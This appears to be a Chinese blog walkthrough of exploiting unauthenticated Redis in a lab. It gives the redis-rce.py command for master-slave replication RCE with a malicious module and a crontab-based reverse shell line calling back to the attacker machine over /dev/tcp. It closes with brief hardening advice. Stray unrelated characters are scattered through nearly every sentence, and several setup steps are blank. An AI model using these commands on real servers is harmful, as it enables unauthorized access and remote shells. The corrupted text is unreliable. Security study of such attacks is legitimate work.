漏洞描述
Redis默認情況下届巩,會綁定在0.0.0.0:6379(在redis3.2之后硅瞧,redis增加了protected-mode,在這個模式下姆泻,非綁定IP或者沒有配置密碼訪問時都會報錯)零酪,如果沒有進行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源ip訪問等等拇勃,這樣將會將Redis服務(wù)暴露在公網(wǎng)上四苇,如果在沒有設(shè)置密碼認證(默認為空)的情況下,會導致任意用戶在可以訪問目標服務(wù)器的情況下未授權(quán)訪問Redis以及讀取Redis的數(shù)據(jù)方咆。攻擊者在未授權(quán)訪問Redis的情況下月腋,利用Redis自身的提供的config命令,可以進行寫文件操作瓣赂,攻擊者還可以成功將自己的ssh公鑰寫入目標服務(wù)器的/root/.ssh文件的authotrized_keys 文件中榆骚,進而可以使用對應(yīng)私鑰直接使用ssh服務(wù)器登錄目標服務(wù)器。
漏洞的產(chǎn)生條件有以下兩點:
(1)??? Redis綁定在0.0.0.0:6379,且沒有進行添加防火墻規(guī)則避免其他非信任來源ip訪問等相關(guān)安全策略煌集,直接暴露在公網(wǎng)
(2)??? 沒有設(shè)置密碼認證(默認為空)或者弱密碼妓肢,可以免密碼登錄redis服務(wù)
影響版本
Redis 2.x,3.x苫纤,4.x碉钠,5.x
漏洞危害
(1) 攻擊者無需認證訪問到內(nèi)部數(shù)據(jù),可能導致敏感信息泄露纲缓,黑客也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù)
(2) 攻擊者可通過eval執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件
(3) 如果redis以root身份運行喊废,黑客可以給root賬戶寫入SSH公鑰文件祝高,直接通過SSH登錄目標服務(wù)器
漏洞環(huán)境
服務(wù)端:centos 7? 192.168.220.131
客戶端:kali 192.168.220.134
服務(wù)端準備:
客戶端準備:
(1)安裝redis-cli
1.下載redis-cli:wget http://download.redis.io/releases/redis-4.0.10.tar.gz
2.解壓:
3.編譯:
漏洞復(fù)現(xiàn)
方法一:利用主從復(fù)制rce
漏洞存在于4.x、5.x版本中污筷,Redis提供了主從模式工闺,主從模式指使用一個redis作為主機,其他的作為備份機瓣蛀,主機從機數(shù)據(jù)都是一樣的陆蟆,從機只負責讀,主機只負責寫揪惦。在Reids 4.x之后遍搞,通過外部拓展罗侯,可以實現(xiàn)在redis中實現(xiàn)一個新的Redis命令器腋,構(gòu)造惡意.so文件。在兩個Redis實例設(shè)置主從模式的時候钩杰,Redis的主機實例可以通過FULLRESYNC同步文件到從機上纫塌。然后在從機上加載惡意so文件,即可執(zhí)行命令讲弄。
需要利用一個工具措左,GitHub下載即可。
1)git clone?https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
2)git clone?https://github.com/Ridter/redis-rce.git
安裝RedisModules-ExecuteCommand:
make進src目錄make避除,不進也可以怎披。
安裝:redis-rce
步驟:
首先:測試目標靶機是否存在未授權(quán)訪問,下圖說明靶機存在未授權(quán)訪問,導致信息泄露瓶摆×构洌可以看到版本:4.0.14步驟:
然后利用RedisModules-ExecuteCommand?make生成一個module.so
利用主從復(fù)制rce獲取shell:
攻擊端執(zhí)行:python redis-rce.py -r 目標ip-p 目標端口 -L 本地ip -f 惡意.so
獲取shell。
方法二:在crontab里寫定時任務(wù),反彈shell
1.在客戶端開啟監(jiān)聽(kali攻擊機)
2.在客戶端(kali攻擊機)使用redis-cli連接redis服務(wù)器群井,寫入反彈shell
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.220.134/9999 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
保存失斪捶伞:我也不知道啥原因,知道的大佬請指教书斜。原理保存成功后過一分鐘就會反彈shell诬辈。可能是我之前輸入錯誤的原因荐吉。
漏洞修復(fù):
1焙糟、禁止外部訪問Redis服務(wù)端口
2、禁止使用root權(quán)限啟動redis服務(wù)
3样屠、配置安全組穿撮,限制可連接Redis服務(wù)器的IP
參考鏈接: